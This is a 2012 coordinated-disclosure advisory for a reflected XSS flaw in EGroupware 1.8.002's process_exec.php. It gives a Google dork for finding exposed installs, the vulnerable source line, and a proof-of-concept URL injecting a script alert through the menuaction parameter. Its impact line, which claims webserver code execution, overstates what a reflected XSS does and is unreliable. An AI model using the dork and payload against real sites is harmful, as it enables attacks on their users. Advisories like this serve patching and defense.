Egroupware v1.8.002 (process_exec.php) Reflected Cross-Site Scripting (XSS)
Google Dork: inurl:etemplate/process_exec.php
Title: Egroupware v1.8.002 (process_exec.php) Remote XSS Vulnerability
Type: Remote
Author: Marcos Garcia
Severity: Medium – CVSS: 5 (AV:N/AC:L/Au:N/C:N/I:P/A:N)
Impact: Direct execution of arbitrary code in the context of Webserver user.
Release Date: 05.04.2012
Release mode: Coordinated release

Summary
=======

EGroupware is free open source groupware software intended for
businesses from small to enterprises. Its primary functions allow
users to manage contacts, appointments, projects and to-do lists.

Description
===========

A reflected Cross Site Scripting vulnerability was found in
EGroupware, because the application fails to sanitize user-supplied
input. The vulnerability can be triggered by any user.

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Detecting vulnerabilities
- /var/www/egroupware/etemplate:13
list($app) = explode('.',$_GET['menuaction']);

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Vendor
======

Egroupware - https://www.egroupware.org/


Affected Version
================

1.8.002

PoC
===
- /var/www/egroupware/etemplate:13
list($app) = explode('.',$_GET['menuaction']);

Attack: menuaction=[XSS] (GET)
https://host/egroupware/etemplate/process_exec.php?menuaction=TEST<script>alert(123)</script>


Credits
=======

Vulnerability discovered by Marcos Garcia (@artsweb).

Solution
========

Upgrade to Egroupware v1.8.004 (https://www.egroupware.org)

Vendor Status
=============

[24.03.2012] Vulnerability discovered.
[24.03.2012] Vendor informed.
[29.03.2012] Asked vendor for status.
[29.03.2012] Vendor replied.
[01.04.2012] Vendor reveals patch release date.
[05.04.2012] Public advisory.

Changelog
=========

[05.04.2012] - Initial release